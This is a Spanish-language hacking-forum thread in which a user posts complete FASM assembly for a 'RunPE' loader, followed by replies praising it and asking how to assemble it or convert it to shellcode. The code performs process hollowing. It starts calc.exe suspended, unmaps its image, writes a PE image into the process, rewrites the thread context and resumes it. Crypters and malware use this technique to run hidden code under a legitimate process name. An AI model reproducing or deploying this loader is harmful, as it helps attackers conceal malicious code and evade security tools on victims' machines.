[ASM] RunPE

Iniciado por fary, 18 Enero 2016, 00:46 AM

0 Miembros y 2 Visitantes están viendo este tema.

fary

Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo.
Se los dejo por aquí...


Código (ASM) [Seleccionar]
; // RunPE
; // Programado por Juan fary (mDrinky)
; // drinky.94@hotmail.com

format PE GUI 4.0
include 'win32ax.inc'
entry start

section '.data' readable writeable

        struct CONTEXT
               ContextFlags             dd ?
               Dr0                      dd ?
               Dr1                      dd ?
               Dr2                      dd ?
               Dr3                      dd ?
               Dr6                      dd ?
               Dr7                      dd ?
               FloatSave                dd ?
               SegGs                    dd ?
               SegFs                    dd ?
               SegEs                    dd ?
               SegDs                    dd ?
               Edi                      dd ?
               Esi                      dd ?
               Ebx                      dd ?
               Edx                      dd ?
               Ecx                      dd ?
               Eax                      dd ?
               Ebp                      dd ?
               Eip                      dd ?
               SegCs                    dd ?
               EFlags                   dd ?
               Esp                      dd ?
               SegSs                    dd ?
               ExtendedRegisters        rb 512
        ends

        calc            db 'c:\windows\system32\calc.exe',0
        bleidos         dd 0
        Datos           dd 0
        Espacio         dd 0

        _SI                   STARTUPINFO ?
        _PI                   PROCESS_INFORMATION ?
        CTX                   CONTEXT ?

        Param2          dd 0

        ; Datos PE
        imagebase       dd ?
        sizeofheaders   dd ?
        sizeofimage     dd ?
        numseciones     dd ?


section '.code' executable readable writeable
start:
        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI

        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
        mov ebx,eax
        invoke GetFileSize,ebx,0
        mov edi,eax
        invoke GlobalAlloc,GPTR,edi
        push eax
        invoke ReadFile,ebx,eax,edi,addr bleidos,0
        invoke CloseHandle,ebx
        pop eax

        mov [Datos],eax

        cmp word[eax],'MZ'
        jne salir

        add eax,dword[eax+0x3C]  ; PE

        cmp word[eax],'PE'
        jne salir

        push dword[eax+0x34] ; imagebase
        pop [imagebase]

        push dword[eax+0x54] ; sizeofheaders
        pop [sizeofheaders]

        push dword[eax+0x50]
        pop [sizeofimage]    ; sizeofimage

        movzx ebx,word[eax+0x6] ; numero de secciones
        mov [numseciones],ebx

        push eax  ; guardamos ya EAX para el final

        push eax
        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
        mov [Espacio],eax
        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
        pop eax

        mov ecx,0

        add eax,0xF8 ; posicionamos en las cabeceras de sección

        EscribirSecciones:

        inc ecx

        push ecx
        push eax

        mov ebx,eax
        mov ebx,dword[ebx+0xC]      ; imagebase
        add ebx,[imagebase]

        mov [Param2],ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x14]
        mov edx,[Datos]
        add edx,ebx

        mov ebx,eax
        mov ebx,dword[ebx+0x10]

        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0

        pop eax
        pop ecx

        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER

        cmp ecx,[numseciones]
        jne EscribirSecciones

        invoke GetThreadContext,[_PI.hProcess],CTX

        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0

        pop eax

        add eax,dword[eax+0x3C]
        mov eax,dword[eax+0x28]

        mov [CTX.Eax],eax ; EntryPoint

        invoke SetThreadContext,[_PI.hProcess],CTX

        invoke ResumeThread,[_PI.hThread]

        salir:
        ret

section '.idata' import data readable writeable
        library NTDLL,'NTDLL.DLL',\
                KERNEL32,'KERNEL32.DLL'

        import KERNEL32,\
                CreateProcessA,'CreateProcessA',\
                CreateFileA,'CreateFileA',\
                GetFileSize,'GetFileSize',\
                GlobalAlloc,'GlobalAlloc',\
                ReadFile,'ReadFile',\
                CloseHandle,'CloseHandle',\
                VirtualAllocEx,'VirtualAllocEx',\
                WriteProcessMemory,'WriteProcessMemory',\
                GetThreadContext,'GetThreadContext',\
                SetThreadContext,'SetThreadContext',\
                ResumeThread,'ResumeThread'

        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'

Un byte a la izquierda.

zerointhewill

grande capo grande vomo  :D

MCKSys Argentina

Muy buen aporte!

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


kub0x

Resurjo de mis cenizas sólo para felicitar al creador de este aporte, ¡buen trabajo!

Hace tiempo que no veo contenido de este tipo y si algo me gusta de tus aportes es que están en ASM, simplemente me divierto leyéndolos y lo comparo con los míos escritos en C++.

Si sigues publicando no estaría de más que armaras un post con todas las técnicas, podríamos ponerle chincheta.

Un abrazo.
Viejos siempre viejos,
Ellos tienen el poder,
Y la juventud,
¡En el ataúd! Criaturas Al poder.

Visita mi perfil en ResearchGate


Borito30

#4
y como se usa este runpe? si lo compilo con nasm y lo paso a shellcode como lo uso? funcionara?

intente compilarlo con nasm pero obtengo:
a.asm:7: error: parser: instruction expected
a.asm:8: error: parser: instruction expected
a.asm:9: error: parser: instruction expected
a.asm:13: error: parser: instruction expected
a.asm:15: error: label or instruction expected at
a.asm:16: error: label or instruction expected at
a.asm:17: error: label or instruction expected at
a.asm:18: error: label or instruction expected at
a.asm:19: error: label or instruction expected at
a.asm:20: error: label or instruction expected at
a.asm:26: error: label or instruction expected at
a.asm:27: error: label or instruction expected at
a.asm:28: error: label or instruction expected at
a.asm:29: error: label or instruction expected at
a.asm:30: error: label or instruction expected at
a.asm:31: error: label or instruction expected at
a.asm:32: error: label or instruction expected at
a.asm:36: error: label or instruction expected at
a.asm:38: error: parser: instruction expected
a.asm:46: error: parser: instruction expected
a.asm:47: error: parser: instruction expected
a.asm:48: error: parser: instruction expected
a.asm:61: error: parser: instruction expected
a.asm:63: error: symbol `invoke' redefined
a.asm:63: error: parser: instruction expected
a.asm:65: error: symbol `invoke' redefined
a.asm:65: error: parser: instruction expected
a.asm:67: error: symbol `invoke' redefined
a.asm:67: error: parser: instruction expected
a.asm:69: error: symbol `invoke' redefined
a.asm:69: error: parser: instruction expected
a.asm:70: error: symbol `invoke' redefined
a.asm:70: error: parser: instruction expected
a.asm:98: error: symbol `invoke' redefined
a.asm:98: error: parser: instruction expected
a.asm:99: error: symbol `invoke' redefined
a.asm:99: error: parser: instruction expected
a.asm:101: error: symbol `invoke' redefined
a.asm:101: error: parser: instruction expected
a.asm:129: error: symbol `invoke' redefined
a.asm:129: error: parser: instruction expected
a.asm:139: error: symbol `invoke' redefined
a.asm:139: error: parser: instruction expected
a.asm:141: error: symbol `invoke' redefined
a.asm:141: error: parser: instruction expected
a.asm:150: error: symbol `invoke' redefined
a.asm:150: error: parser: instruction expected
a.asm:152: error: symbol `invoke' redefined
a.asm:152: error: parser: instruction expected
a.asm:159: error: parser: instruction expected
a.asm:172: error: parser: instruction expected
a.asm:174: error: symbol `import' redefined
a.asm:174: error: parser: instruction expected
  ʤꘀ숨ÄG䢘K
Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)

fary

Hola,

Este código esta escrito en FASM, si lo quieres usar en NASM habría que hacerle algunas modificaciones.

Para shellcode no te serviría que ya que las direcciones no las recalcula, son estáticas.

saludos.
Un byte a la izquierda.

Borito30

Cita de: fary en  2 Febrero 2018, 15:39 PM
Hola,

Este código esta escrito en FASM, si lo quieres usar en NASM habría que hacerle algunas modificaciones.

Para shellcode no te serviría que ya que las direcciones no las recalcula, son estáticas.

saludos.
este valdría:
https://pastebin.com/32Ntt5zG#

pero esta en masm. sabes como se podría compilar como binary data?

como se hace en nasm -f bin pero en masm?
Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)

fary

Desconozco como se hace para MASM... tal vez acabes antes ajustando el códido para NASM.

Por cierto en ensamblador no se compila, se ensambla.

saludos.
Un byte a la izquierda.

Borito30

Cita de: fary en  4 Febrero 2018, 12:00 PM
Desconozco como se hace para MASM... tal vez acabes antes ajustando el códido para NASM.

Por cierto en ensamblador no se compila, se ensambla.

saludos.
para cuando un ejemplo de chimerape pero en asm   ;D
Estoy en contra del foro libre y la Sección de juegos y consolas (distraen al personal)